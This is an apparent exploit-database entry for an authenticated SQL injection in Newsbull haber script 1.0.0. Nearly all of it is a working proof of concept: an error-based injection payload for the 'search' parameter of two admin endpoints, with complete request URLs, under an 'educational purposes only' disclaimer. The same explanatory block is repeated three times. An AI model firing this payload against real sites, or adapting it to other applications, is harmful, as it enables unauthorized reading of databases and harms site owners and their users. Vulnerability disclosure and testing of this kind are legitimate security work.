Newsbull haber script 1.0.0 search sql injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-01-28 |
Type : webapps |
Platform : php
This exploit / vulnerability Newsbull haber script 1.0.0 search sql injection is for educational purposes only and if it is used you will do on your own risk!
# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/zj0Q77.jpg
# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg
# POC - SQLi (Blind)
# Parameters : search
# Attack Pattern : -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
# GET Request : http://localhost/newsbull/admin/category/records?search=1'[SQL]
# GET Request : http://localhost/newsbull/admin/news/records?search=1' [SQL]
# URL : http://localhost/newsbull/admin/category/records?search=-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
# Running the injection command in the POC section will display the db data.
# The proof of the deficit is in the link below.
# https://i.hizliresim.com/LlOBQz.jpg